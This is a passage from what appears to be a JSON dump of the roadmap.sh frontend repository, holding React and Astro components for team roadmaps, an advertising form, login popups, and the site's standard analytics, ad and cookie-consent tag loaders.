setIsOpen(!isOpen)}\n      >\n        <MoreVertical size={16} />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute right-0 top-8 z-10 w-48 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          <ProgressShareButton\n            resourceType={resourceType}\n            resourceId={resourceId}\n            isCustomResource={isCustomResource}\n            className=\"w-full gap-1.5 p-2 hover:bg-gray-100\"\n          />\n          {showClearButton && (\n            <>\n              {!isConfirming && (\n                <button\n                  className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n                  onClick={() => setIsConfirming(true)}\n                  disabled={isClearing}\n                >\n                  {!isClearing ? (\n                    <>\n                      <X className=\"h-3.5 w-3.5\" />\n                      Clear Progress\n                    </>\n                  ) : (\n                    'Processing...'\n                  )}\n                </button>\n              )}\n\n              {isConfirming && (\n                <span className=\"flex w-full items-center justify-between gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\">\n                  Are you sure?\n                  <div className=\"flex items-center gap-2\">\n                    <button\n                      onClick={clearProgress}\n                      className=\"text-red-500 underline hover:text-red-800\"\n                    >\n                      Yes\n                    </button>\n                    <button\n                      onClick={() => setIsConfirming(false)}\n                      className=\"text-red-500 underline hover:text-red-800\"\n                    >\n                      No\n                    </button>\n                  </div>\n                </span>\n              )}\n            </>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AddTeamRoadmap.tsx",
    "content": "import { useRef, useState } from 'react';\nimport { useOutsideClick } from '../hooks/use-outside-click';\nimport { type OptionType, SearchSelector } from './SearchSelector';\nimport type { PageType } from './CommandMenu/CommandMenu';\nimport { CheckIcon } from './ReactIcons/CheckIcon';\nimport { httpPut } from '../lib/http';\nimport type { TeamResourceConfig } from './CreateTeam/RoadmapSelector';\nimport { Spinner } from './ReactIcons/Spinner';\n\ntype AddTeamRoadmapProps = {\n  teamId: string;\n  allRoadmaps: PageType[];\n  availableRoadmaps: PageType[];\n  onClose: () => void;\n  onMakeChanges: (roadmapId: string) => void;\n  setResourceConfigs: (config: TeamResourceConfig) => void;\n};\n\nexport function AddTeamRoadmap(props: AddTeamRoadmapProps) {\n  const {\n    teamId,\n    onMakeChanges,\n    onClose,\n    allRoadmaps,\n    availableRoadmaps,\n    setResourceConfigs,\n  } = props;\n  const [error, setError] = useState('');\n  const [isLoading, setIsLoading] = useState(false);\n  const [selectedRoadmap, setSelectedRoadmap] = useState<string>('');\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n\n  async function addTeamResource(roadmapId: string) {\n    if (!teamId) {\n      return;\n    }\n\n    setIsLoading(true);\n    const { error, response } = await httpPut<TeamResourceConfig>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-update-team-resource-config/${teamId}`,\n      {\n        teamId: teamId,\n        resourceId: roadmapId,\n        resourceType: 'roadmap',\n        removed: [],\n      }\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Error adding roadmap');\n      return;\n    }\n\n    setResourceConfigs(response);\n  }\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  const selectedRoadmapTitle = allRoadmaps.find(\n    (roadmap) => roadmap.id === selectedRoadmap\n  )?.title;\n\n  return (\n    <div className=\"popup fixed left-0 right-0 top-0 z-50 flex h-full items-center justify-center overflow-y-auto overflow-x-hidden bg-black/50\">\n      <div className=\"relative h-full w-full max-w-md p-4 md:h-auto\">\n        <div\n          ref={popupBodyEl}\n          className=\"popup-body relative rounded-lg bg-white p-4 shadow-sm\"\n        >\n          {isLoading && (\n            <>\n              <div className=\"flex items-center justify-center gap-2 py-8\">\n                <Spinner isDualRing={false} className=\"h-4 w-4\" />\n                <h2 className=\"font-medium\">Loading...</h2>\n              </div>\n            </>\n          )}\n          {!isLoading && !error && selectedRoadmap && (\n            <div className={'text-center'}>\n              <CheckIcon additionalClasses=\"h-10 w-10 mx-auto opacity-20 mb-3 mt-4\" />\n              <h3 className=\"mb-1.5 text-2xl font-medium\">\n                {selectedRoadmapTitle} Added\n              </h3>\n              <p className=\"mb-4 text-sm leading-none text-gray-400\">\n                <button\n                  onClick={() => onMakeChanges(selectedRoadmap)}\n                  className=\"underline underline-offset-2 hover:text-gray-900\"\n                >\n                  Click here\n                </button>{' '}\n                to make changes to the roadmap.\n              </p>\n\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={onClose}\n                  type=\"button\"\n                  className=\"grow cursor-pointer rounded-lg bg-gray-200 py-2 text-center hover:bg-gray-300\"\n                >\n                  Done\n                </button>\n                <button\n                  onClick={() => {\n                    setSelectedRoadmap('');\n                    setError('');\n                    setIsLoading(false);\n                  }}\n                  type=\"button\"\n                  className=\"grow cursor-pointer rounded-lg bg-black py-2 text-center text-white\"\n                >\n                  + Add More\n                </button>\n              </div>\n            </div>\n          )}\n          {!isLoading && error && (\n            <>\n              <h3 className=\"mb-1.5 text-2xl font-medium\">Error</h3>\n              <p className=\"mb-3 text-sm leading-none text-red-400\">{error}</p>\n\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={onClose}\n                  type=\"button\"\n                  className=\"grow cursor-pointer rounded-lg bg-gray-200 py-2 text-center hover:bg-gray-300\"\n                >\n                  Cancel\n                </button>\n              </div>\n            </>\n          )}\n          {!isLoading && !error && !selectedRoadmap && (\n            <>\n              <h3 className=\"mb-1.5 text-2xl font-medium\">Add Roadmap</h3>\n              <p className=\"mb-3 text-sm leading-none text-gray-400\">\n                Search and add a roadmap\n              </p>\n\n              <SearchSelector\n                options={availableRoadmaps.map((roadmap) => ({\n                  value: roadmap.id,\n                  label: roadmap.title,\n                }))}\n                onSelect={(option: OptionType) => {\n                  const roadmapId = option.value;\n                  addTeamResource(roadmapId).finally(() => {\n                    setIsLoading(false);\n                    setSelectedRoadmap(roadmapId);\n                  });\n                }}\n                inputClassName=\"mt-2 mb-2 block w-full rounded-md border border-gray-300 px-3 py-2 outline-hidden placeholder:text-gray-400 focus:border-gray-400\"\n                placeholder={'Search for roadmap'}\n              />\n\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={onClose}\n                  type=\"button\"\n                  className=\"grow cursor-pointer rounded-lg bg-gray-200 py-2 text-center hover:bg-gray-300\"\n                >\n                  Cancel\n                </button>\n              </div>\n            </>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AdvertiseForm.tsx",
    "content": "import React, { useState } from 'react';\nimport { CheckIcon } from './ReactIcons/CheckIcon.tsx';\nimport { pageProgressMessage } from '../stores/page.ts';\nimport { httpPost } from '../lib/http.ts';\n\ntype InputProps = {\n  label: string;\n  name: string;\n  type: string;\n  value: string;\n  onChange: (\n    e: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>,\n  ) => void;\n  required?: boolean;\n  rows?: number;\n};\n\nfunction Input(props: InputProps) {\n  const { label, name, type, value, onChange, required, rows } = props;\n  return (\n    <div className=\"mb-4\">\n      <label htmlFor={name} className=\"block text-sm font-medium text-gray-700\">\n        {label} {required && <span className=\"text-red-500\">*</span>}\n      </label>\n      {type === 'textarea' ? (\n        <textarea\n          placeholder={label}\n          id={name}\n          name={name}\n          value={value}\n          onChange={onChange}\n          rows={rows}\n          className=\"mt-1 block w-full rounded-md border border-gray-300 p-2 shadow-xs focus:border-indigo-500 focus:ring-indigo-500 sm:text-sm\"\n          autoComplete=\"off\"\n          data-1p-ignore=\"\"\n          data-form-type=\"other\"\n          data-lpignore=\"true\"\n        ></textarea>\n      ) : (\n        <input\n          type={type}\n          id={name}\n          placeholder={label}\n          name={name}\n          value={value}\n          onChange={onChange}\n          required={required}\n          className=\"mt-1 block w-full rounded-md border border-gray-300 p-2 shadow-xs focus:border-indigo-500 focus:ring-indigo-500 sm:text-sm\"\n          autoComplete=\"off\"\n          data-1p-ignore=\"\"\n          data-form-type=\"other\"\n          data-lpignore=\"true\"\n        />\n      )}\n    </div>\n  );\n}\n\nexport function AdvertiseForm() {\n  const [status, setStatus] = useState<'submitting' | 'submitted'>();\n  const [error, setError] = useState<string | null>(null);\n\n  const [formData, setFormData] = useState({\n    firstName: '',\n    lastName: '',\n    title: '',\n    company: '',\n    email: '',\n    phone: '',\n    message: '',\n    updates: false,\n  });\n\n  const handleInputChange = (\n    e: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>,\n  ) => {\n    const { name, value, type, checked } = e.target as any;\n    setFormData({\n      ...formData,\n      [name]: type === 'checkbox' ? checked : value,\n    });\n  };\n\n  async function handleSubmit(e: React.FormEvent) {\n    e.preventDefault();\n\n    pageProgressMessage.set('Please wait');\n\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-advertise`,\n      formData,\n    );\n    if (!response || error) {\n      pageProgressMessage.set('');\n      setError(error?.message || 'Something went wrong. Please try again.');\n      return;\n    }\n\n    setStatus('submitted');\n    pageProgressMessage.set('');\n  }\n\n  if (status === 'submitted') {\n    return (\n      <div className=\"flex flex-col items-center justify-center rounded-md border bg-gray-50 p-12 text-center\">\n        <CheckIcon additionalClasses=\"h-12 w-12 text-green-500 mb-5\" />\n        <h2 className=\"text-balance text-xl font-semibold text-gray-900\">\n          Thank you for your interest in advertising with roadmap.sh\n        </h2>\n        <p className=\"mt-2 text-sm text-gray-500\">\n          We will get back to you soon.\n        </p>\n      </div>\n    );\n  }\n\n  return (\n    <>\n      <h2 className=\"mb-5 text-balance text-2xl font-bold\">\n        Ready to learn more? Fill out the form below to get started!\n      </h2>\n      {error && (\n        <div className=\"relative mb-4 rounded-sm border border-red-400 bg-red-100 px-4 py-3 text-red-700\">\n          {error}\n        </div>\n      )}\n      <form className=\"mb-5\" onSubmit={handleSubmit}>\n        <div className=\"grid gap-0 sm:grid-cols-2 sm:gap-4\">\n          <Input\n            label=\"First Name\"\n            name=\"firstName\"\n            type=\"text\"\n            value={formData.firstName}\n            onChange={handleInputChange}\n            required\n          />\n          <Input\n            label=\"Last Name\"\n            name=\"lastName\"\n            type=\"text\"\n            value={formData.lastName}\n            onChange={handleInputChange}\n            required\n          />\n        </div>\n\n        <div className=\"grid gap-0 sm:grid-cols-2 sm:gap-4\">\n          <Input\n            label=\"Title\"\n            name=\"title\"\n            type=\"text\"\n            value={formData.title}\n            onChange={handleInputChange}\n            required\n          />\n\n          <Input\n            label=\"Company\"\n            name=\"company\"\n            type=\"text\"\n            value={formData.company}\n            onChange={handleInputChange}\n            required\n          />\n        </div>\n\n        <div className=\"grid gap-0 sm:grid-cols-2 sm:gap-4\">\n          <Input\n            label=\"Email\"\n            name=\"email\"\n            type=\"email\"\n            value={formData.email}\n            onChange={handleInputChange}\n            required\n          />\n\n          <Input\n            label=\"Phone\"\n            name=\"phone\"\n            type=\"tel\"\n            value={formData.phone}\n            onChange={handleInputChange}\n          />\n        </div>\n\n        <Input\n          label=\"Message (Optional)\"\n          name=\"message\"\n          type=\"textarea\"\n          value={formData.message}\n          onChange={handleInputChange}\n          rows={4}\n        />\n        <div className=\"mb-4 flex items-start\">\n          <div className=\"flex h-5 items-center\">\n            <input\n              id=\"updates\"\n              name=\"updates\"\n              type=\"checkbox\"\n              checked={formData.updates}\n              onChange={handleInputChange}\n              className=\"h-4 w-4 rounded-sm border-gray-300 text-indigo-600 focus:ring-indigo-500\"\n            />\n          </div>\n          <div className=\"ml-3 text-sm\">\n            <label htmlFor=\"updates\" className=\"font-medium text-gray-700\">\n              I want to receive occasional updates about new products or\n              advertising opportunities with roadmap.sh\n            </label>\n          </div>\n        </div>\n\n        <div>\n          <button\n            type=\"submit\"\n            className=\"flex justify-center rounded-md border border-transparent bg-indigo-600 px-4 py-2 text-sm font-medium text-white shadow-xs hover:bg-indigo-700 focus:outline-hidden focus:ring-2 focus:ring-indigo-500 focus:ring-offset-2\"\n          >\n            Send\n          </button>\n        </div>\n      </form>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Analytics/Analytics.astro",
    "content": "---\n---\n\n<script src='./analytics.ts'></script>\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-EZHDT2S2LF\"></script>\n<script is:inline>\n    // @ts-nocheck\n    window.dataLayer = window.dataLayer || [];\n    function gtag(){dataLayer.push(arguments);}\n    gtag('js', new Date());\n\n    gtag('config', 'G-EZHDT2S2LF');\n</script>"
  },
  {
    "path": "src/components/Analytics/Bluconic.astro",
    "content": "<script async defer src='https://b174.roadmap.sh/script.js'></script>\n"
  },
  {
    "path": "src/components/Analytics/Clarity.astro",
    "content": "<script type='text/javascript' is:inline>\n  (function (c, l, a, r, i, t, y) {\n    c[a] =\n      c[a] ||\n      function () {\n        (c[a].q = c[a].q || []).push(arguments);\n      };\n    t = l.createElement(r);\n    t.async = 1;\n    t.src = 'https://www.clarity.ms/tag/' + i;\n    y = l.getElementsByTagName(r)[0];\n    y.parentNode.insertBefore(t, y);\n  })(window, document, 'clarity', 'script', 'qcw723i36o');\n</script>\n"
  },
  {
    "path": "src/components/Analytics/GoogleAd.astro",
    "content": "<script async src='https://securepubads.g.doubleclick.net/tag/js/gpt.js'\n></script>\n<script async>\n  const ignoredPages = [\n    'login',\n    'signup',\n    'best-practices',\n    'guides',\n    'videos',\n    'roadmaps',\n    'community',\n    'start-here',\n    'ai-roadmaps',\n    'ai',\n    'teams',\n    'about',\n    'account',\n    'projects',\n    'questions',\n    'guides',\n    'advertise',\n    'premium',\n    'dashboard',\n  ];\n\n  function sanitizeSettingValue(value) {\n    return (\n      String(value)\n        .trim()\n        // Remove characters forbidden at https://support.google.com/admanager/answer/10020177.\n        .replace(/'|\\\\|'|=|!|#|\\*|~|;|\\^|\\(|\\)|<|>|\\[|\\]|,|&/g, '')\n        // Extra spaces aren't forbidden, but rarely desired.\n        .replace(/\\s+/, ' ')\n        // The + sign is also forbidden, but is being replaced with 'and' instead.\n        .replace('+', 'and')\n        // Maximum length of 40 for values.\n        .substring(0, 40)\n    );\n  }\n\n  const page = window.location.pathname;\n  const pageParts = page.split('/').filter(Boolean);\n\n  const isRoadmapPage =\n    pageParts.length === 1 && !ignoredPages.includes(pageParts[0]);\n  const isBestPracticesPage =\n    pageParts.length === 2 && pageParts[0] === 'best-practices';\n\n  let adSettings = {};\n  if (isRoadmapPage) {\n    adSettings = {\n      post_id: sanitizeSettingValue(pageParts[0]),\n      page_type: 'roadmap',\n      category: ['roadmap', sanitizeSettingValue(pageParts[0])],\n    };\n  } else if (isBestPracticesPage) {\n    adSettings = {\n      post_id: sanitizeSettingValue(pageParts[1]),\n      page_type: 'best-practice',\n      category: ['best-practice', sanitizeSettingValue(pageParts[1])],\n    };\n  } else if (pageParts.length > 0) {\n    // Set page_type for all other pages using slugified first path segment\n    const pageType = sanitizeSettingValue(pageParts[0]);\n    adSettings = {\n      page_type: pageType,\n      category: [pageType],\n    };\n\n    // Add post_id if there's a second path segment\n    if (pageParts.length > 1) {\n      adSettings.post_id = sanitizeSettingValue(pageParts[1]);\n      adSettings.category.push(sanitizeSettingValue(pageParts[1]));\n    }\n  } else {\n    // Homepage\n    adSettings = {\n      page_type: 'home',\n      category: ['home'],\n    };\n  }\n\n  console.info('Ad Settings:', adSettings);\n\n  // @ts-nocheck\n  window.googletag = window.googletag || { cmd: [] };\n  googletag.cmd.push(function () {\n    // Always use non-personalized ads\n    googletag.pubads().setPrivacySettings({\n      restrictDataProcessing: true,\n      nonPersonalizedAds: true,\n    });\n\n    // Define ad slot and enable services\n    googletag\n      .defineSlot(\n        '/22873384501/roadmap',\n        ['fluid'],\n        'div-gpt-ad-1742391132948-0',\n      )\n      .addService(googletag.pubads());\n\n    // Set targeting for all ad slots on the page.\n    for (let key in adSettings) {\n      if (adSettings.hasOwnProperty(key)) {\n        googletag.pubads().setTargeting(key, adSettings[key]);\n      }\n    }\n\n    googletag.pubads().enableSingleRequest();\n    googletag.enableServices();\n\n    googletag.pubads().addEventListener('slotRenderEnded', function (e) {\n      if (!e.isEmpty) {\n        return;\n      }\n\n      const slotId = e.slot.getSlotElementId();\n      if (!slotId) {\n        return;\n      }\n\n      // If empty, hide the ad slot after a small delay.\n      setTimeout(() => {\n        const adContainer = document.getElementById(slotId);\n        if (adContainer) {\n          adContainer.style.display = 'none';\n        }\n      }, 1800);\n    });\n  });\n</script>\n"
  },
  {
    "path": "src/components/Analytics/GoogleAdSlot.astro",
    "content": "<div\n  id='div-gpt-ad-1742391132948-0'\n  class='gam-slot fixed bottom-4 right-4 z-50 h-[160px] w-[350px] cursor-pointer max-md:bottom-0 max-md:right-0 max-md:h-[106px] max-md:w-full'\n>\n  <script>\n    // @ts-nocheck\n    googletag.cmd.push(function () {\n      if (!googletag.pubads) {\n        console.log('googletag.pubads not found');\n        return;\n      }\n\n      // Configure all ad slots on the page to be expanded by default, but\n      // collapse slots that are unable to be filled with an ad.\n      googletag.pubads().collapseEmptyDivs();\n\n      // Set non-personalized ads\n      googletag.pubads().setPrivacySettings({\n        restrictDataProcessing: true,\n        nonPersonalizedAds: true,\n      });\n      googletag.display('div-gpt-ad-1742391132948-0');\n    });\n  </script>\n</div>\n\n<script>\n  const nativeAds: Window[] = [];\n\n  function sendSize(iframe: Window) {\n    const breakpoint = window.innerWidth < 768 ? 'sm' : 'lg';\n\n    iframe.postMessage(`breakpoint:${breakpoint}`, '*');\n  }\n\n  window.addEventListener(\n    'resize',\n    () => {\n      nativeAds.forEach((ad) => {\n        sendSize(ad);\n      });\n    },\n    {\n      passive: true,\n    },\n  );\n\n  window.addEventListener('message', function (e: MessageEvent<any>) {\n    if (e.data === 'initdfp') {\n      nativeAds.push(e.source as Window);\n      sendSize(e.source as Window);\n    } else if (e.data === 'close-ad') {\n      const ad = document.getElementById('div-gpt-ad-1742391132948-0');\n      if (ad) {\n        ad.remove();\n      }\n    }\n  });\n</script>\n"
  },
  {
    "path": "src/components/Analytics/Hubspot.astro",
    "content": "<script\n  type='text/javascript'\n  id='hs-script-loader'\n  async\n  defer\n  src='//js.hs-scripts.com/46095657.js?businessUnitId=2306992'></script>\n"
  },
  {
    "path": "src/components/Analytics/LinkedIn.astro",
    "content": "---\n// LinkedIn Analytics component\n---\n\n<script type=\"text/javascript\">\n  _linkedin_partner_id = \"8596409\";\n  window._linkedin_data_partner_ids = window._linkedin_data_partner_ids || [];\n  window._linkedin_data_partner_ids.push(_linkedin_partner_id);\n</script>\n<script type=\"text/javascript\">\n  (function(l) {\n    if (!l){window.lintrk = function(a,b){window.lintrk.q.push([a,b])}; window.lintrk.q=[]}\n    var s = document.getElementsByTagName(\"script\")[0];\n    var b = document.createElement(\"script\");\n    b.type = \"text/javascript\";b.async = true;\n    b.src = \"https://snap.licdn.com/li.lms-analytics/insight.min.js\";\n    s.parentNode.insertBefore(b, s);\n  })(window.lintrk);\n</script>\n<noscript>\n  <img height=\"1\" width=\"1\" style=\"display:none;\" alt=\"\" src=\"https://px.ads.linkedin.com/collect/?pid=8596409&fmt=gif\" />\n</noscript>"
  },
  {
    "path": "src/components/Analytics/OneTrust.astro",
    "content": "<!-- OneTrust Cookies Consent Notice start for roadmap.sh -->\n<script\n  src='https://cdn.cookielaw.org/scripttemplates/otSDKStub.js'\n  type='text/javascript'\n  charset='UTF-8'\n  data-domain-script='01977e0e-9a37-7b4a-aad2-8cf9247d94b6'></script>\n<script type='text/javascript'>\n  function OptanonWrapper() {}\n</script>\n<!-- OneTrust Cookies Consent Notice end for roadmap.sh -->\n"
  },
  {
    "path": "src/components/Analytics/RedditPixel.astro",
    "content": "<script is:inline>\n  // @ts-nocheck\n  !(function (w, d) {\n    if (!w.rdt) {\n      var p = (w.rdt = function () {\n        p.sendEvent\n          ? p.sendEvent.apply(p, arguments)\n          : p.callQueue.push(arguments);\n      });\n      p.callQueue = [];\n      var t = d.createElement('script');\n      (t.src = 'https://www.redditstatic.com/ads/pixel.js'), (t.async = !0);\n      var s = d.getElementsByTagName('script')[0];\n      s.parentNode.insertBefore(t, s);\n    }\n  })(window, document);\n  rdt('init', 'a2_ghq8846qpphp');\n  rdt('track', 'PageVisit');\n</script>\n"
  },
  {
    "path": "src/components/Analytics/analytics.ts",
    "content": "import { httpPost } from '../../lib/query-http';\nimport { getPageTrackingData } from '../../lib/browser';\n\ndeclare global {\n  interface Window {\n    gtag: any;\n    fireEvent: (props: {\n      action: string;\n      category: string;\n      label?: string;\n      value?: string;\n      callback?: () => void;\n    }) => void;\n  }\n}\n\n/**\n * Tracks the event on google analytics\n * @see https://developers.google.com/analytics/devguides/collection/gtagjs/events\n * @param props Event properties\n * @returns void\n */\nwindow.fireEvent = (props) => {\n  const { action, category, label, value, callback } = props;\n\n  const eventId = `${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;\n\n  if (['course', 'ai_tutor'].includes(category)) {\n    const trackingData = getPageTrackingData();\n    const url = new URL(import.meta.env.PUBLIC_API_URL);\n    url.pathname = '/api/_t';\n    url.searchParams.set('action', action);\n    url.searchParams.set('category', category);\n    url.searchParams.set('label', label ?? '');\n    url.searchParams.set('value', value ?? '');\n    url.searchParams.set('event_id', eventId);\n\n    httpPost(url.toString(), {\n      page_location: trackingData.page_location,\n      page_path: trackingData.page_path,\n      page_referrer: trackingData.page_referrer,\n      page_title: trackingData.page_title,\n      user_agent: trackingData.user_agent,\n      screen_resolution: trackingData.screen_resolution,\n      viewport_size: trackingData.viewport_size,\n      session_id: trackingData.session_id,\n      gclid: trackingData.gclid,\n      utm_source: trackingData.utm_source,\n      utm_medium: trackingData.utm_medium,\n      utm_campaign: trackingData.utm_campaign,\n      utm_content: trackingData.utm_content,\n      utm_term: trackingData.utm_term,\n    }).catch(console.error);\n\n    return;\n  }\n\n  if (!window.gtag) {\n    console.warn('Missing GTAG - Analytics disabled');\n    return;\n  }\n\n  if (import.meta.env.DEV) {\n    console.log('Analytics event fired', props);\n    callback?.();\n    return;\n  }\n\n  const trackingData = getPageTrackingData();\n\n  window.gtag('event', action, {\n    event_category: category,\n    event_label: label,\n    value: value,\n    event_id: eventId,\n    source: 'client',\n    page_location: trackingData.page_location,\n    page_path: trackingData.page_path,\n    page_referrer: trackingData.page_referrer,\n    page_title: trackingData.page_title,\n    session_id: trackingData.session_id,\n    gclid: trackingData.gclid,\n    utm_source: trackingData.utm_source,\n    utm_medium: trackingData.utm_medium,\n    utm_campaign: trackingData.utm_campaign,\n    utm_content: trackingData.utm_content,\n    utm_term: trackingData.utm_term,\n    ...(callback ? { event_callback: callback } : {}),\n  });\n};\n\nexport {};\n"
  },
  {
    "path": "src/components/AppChecklist.tsx",
    "content": "import { PartyPopper } from 'lucide-react';\n\nexport function AppChecklist() {\n  return (\n    <div className=\"fixed bottom-6 right-3\">\n      <a\n        href=\"/get-started\"\n        className=\"flex items-center gap-2 rounded-full border border-slate-900 bg-white py-2 pl-3 pr-4 text-sm font-medium hover:bg-zinc-200\"\n      >\n        <PartyPopper className=\"relative -top-[2px] h-[20px] w-[20px] text-purple-600\" />\n        Welcome! Start here\n      </a>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AstroIcon.astro",
    "content": "---\nimport { parse } from 'node-html-parser';\n\nexport interface Props {\n  icon: string;\n  class?: string;\n}\n\nasync function getSVG(name: string) {\n  const filepath = `/src/icons/${name}.svg`;\n\n  const files = import.meta.glob<string>('/src/icons/**/*.svg', {\n    query: '?raw',\n    eager: true,\n  });\n\n  if (!(filepath in files)) {\n    throw new Error(`${filepath} not found`);\n  }\n\n  const root = parse((files[filepath] as any).default as string);\n\n  const svg = root.querySelector('svg');\n\n  return {\n    attributes: svg?.attributes,\n    innerHTML: svg?.innerHTML,\n  };\n}\n\nconst { icon, ...attributes } = Astro.props as Props;\nconst { attributes: baseAttributes, innerHTML } = await getSVG(icon);\n\nconst svgAttributes = { ...baseAttributes, ...attributes };\n---\n\n<svg {...svgAttributes} set:html={innerHTML} />\n"
  },
  {
    "path": "src/components/AuthenticationFlow/AuthenticationForm.tsx",
    "content": "import { useState } from 'react';\nimport { GitHubButton } from './GitHubButton';\nimport { GoogleButton } from './GoogleButton';\nimport { LinkedInButton } from './LinkedInButton';\nimport { EmailLoginForm } from './EmailLoginForm';\nimport { EmailSignupForm } from './EmailSignupForm';\n\ntype AuthenticationFormProps = {\n  type?: 'login' | 'signup';\n};\n\nexport function AuthenticationForm(props: AuthenticationFormProps) {\n  const { type = 'login' } = props;\n\n  const [isDisabled, setIsDisabled] = useState(false);\n\n  return (\n    <>\n      <div className=\"flex w-full flex-col gap-2\">\n        <GitHubButton isDisabled={isDisabled} setIsDisabled={setIsDisabled} />\n        <GoogleButton isDisabled={isDisabled} setIsDisabled={setIsDisabled} />\n        <LinkedInButton isDisabled={isDisabled} setIsDisabled={setIsDisabled} />\n      </div>\n\n      <div className=\"flex w-full items-center gap-2 py-6 text-sm text-slate-600\">\n        <div className=\"h-px w-full bg-slate-200\" />\n        OR\n        <div className=\"h-px w-full bg-slate-200\" />\n      </div>\n\n      {type === 'login' ? (\n        <EmailLoginForm isDisabled={isDisabled} setIsDisabled={setIsDisabled} />\n      ) : (\n        <EmailSignupForm\n          isDisabled={isDisabled}\n          setIsDisabled={setIsDisabled}\n        />\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/CourseLoginPopup.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { Modal } from '../Modal';\nimport { GitHubButton } from './GitHubButton';\nimport { GoogleButton } from './GoogleButton';\nimport { LinkedInButton } from './LinkedInButton';\nimport { EmailLoginForm } from './EmailLoginForm';\nimport { EmailSignupForm } from './EmailSignupForm';\n\ntype CourseLoginPopupProps = {\n  onClose: () => void;\n  checkoutAfterLogin?: boolean;\n};\n\nexport const CHECKOUT_AFTER_LOGIN_KEY = 'checkoutAfterLogin';\nexport const SAMPLE_AFTER_LOGIN_KEY = 'sampleAfterLogin';\n\nexport function CourseLoginPopup(props: CourseLoginPopupProps) {\n  const { onClose: parentOnClose, checkoutAfterLogin = true } = props;\n\n  const [isDisabled, setIsDisabled] = useState(false);\n  const [isUsingEmail, setIsUsingEmail] = useState(false);\n\n  const [emailNature, setEmailNature] = useState<'login' | 'signup' | null>(\n    null,\n  );\n\n  function onClose() {\n    // if user didn't login and closed the popup, we remove the checkoutAfterLogin flag\n    // so that login from other buttons on course page will trigger purchase\n    localStorage.removeItem(CHECKOUT_AFTER_LOGIN_KEY);\n    localStorage.removeItem(SAMPLE_AFTER_LOGIN_KEY);\n    parentOnClose();\n  }\n\n  useEffect(() => {\n    localStorage.setItem(\n      CHECKOUT_AFTER_LOGIN_KEY,\n      checkoutAfterLogin ? '1' : '0',\n    );\n  }, [checkoutAfterLogin]);\n\n  if (emailNature) {\n    const emailHeader = (\n      <div className=\"mb-7 text-center\">\n        <p className=\"mb-3.5 pt-2 text-2xl leading-5 font-semibold text-slate-900\">\n          {emailNature === 'login'\n            ? 'Login to your account'\n            : 'Create an account'}\n        </p>\n        <p className=\"mt-2 text-sm leading-4 text-slate-600\">\n          Fill in the details below to continue\n        </p>\n      </div>\n    );\n\n    return (\n      <Modal onClose={onClose} bodyClassName=\"p-5 h-auto\">\n        {emailHeader}\n        {emailNature === 'login' && (\n          <EmailLoginForm\n            isDisabled={isDisabled}\n            setIsDisabled={setIsDisabled}\n          />\n        )}\n        {emailNature === 'signup' && (\n          <EmailSignupForm\n            isDisabled={isDisabled}\n            setIsDisabled={setIsDisabled}\n          />\n        )}\n\n        <button\n          className=\"mt-2 w-full rounded-md border border-gray-400 py-2 text-center text-sm text-gray-600 hover:bg-gray-100\"\n          onClick={() => setEmailNature(null)}\n        >\n          Back to Options\n        </button>\n      </Modal>\n    );\n  }\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"p-5 h-auto\">\n      <div className=\"mb-7 text-center\">\n        <p className=\"mb-3.5 pt-2 text-2xl leading-5 font-semibold text-slate-900\">\n          Create or login to Enroll\n        </p>\n        <p className=\"mt-2 text-sm leading-4 text-slate-600\">\n          Login or sign up for an account to start learning\n        </p>\n      </div>\n\n      <div className=\"flex w-full flex-col gap-2\">\n        <GitHubButton\n          className=\"rounded-md border-gray-400 hover:bg-gray-100\"\n          isDisabled={isDisabled}\n          setIsDisabled={setIsDisabled}\n        />\n        <GoogleButton\n          className=\"rounded-md border-gray-400 hover:bg-gray-100\"\n          isDisabled={isDisabled}\n          setIsDisabled={setIsDisabled}\n        />\n        <LinkedInButton\n          className=\"rounded-md border-gray-400 hover:bg-gray-100\"\n          isDisabled={isDisabled}\n          setIsDisabled={setIsDisabled}\n        />\n      </div>\n\n      <div className=\"flex w-full items-center gap-4 py-6 text-sm text-gray-600\">\n        <div className=\"h-px w-full bg-gray-200\" />\n        OR\n        <div className=\"h-px w-full bg-gray-200\" />\n      </div>\n\n      <div className=\"flex flex-row gap-2\">\n        {!isUsingEmail && (\n          <button\n            className=\"grow rounded-md border border-gray-400 px-4 py-2 text-sm text-gray-600 hover:bg-gray-100\"\n            onClick={() => setIsUsingEmail(true)}\n          >\n            Use your email address\n          </button>\n        )}\n        {isUsingEmail && (\n          <>\n            <button\n              className=\"grow rounded-md border border-gray-400 px-4 py-2 text-sm text-gray-600 hover:bg-gray-100\"\n              onClick={() => setEmailNature('login')}\n            >\n              Already have an account\n            </button>\n            <button\n              className=\"grow rounded-md border border-gray-400 px-4 py-2 text-sm text-gray-600 hover:bg-gray-100\"\n              onClick={() => setEmailNature('signup')}\n            >\n              Create an account\n            </button>\n          </>\n        )}\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/Divider.astro",
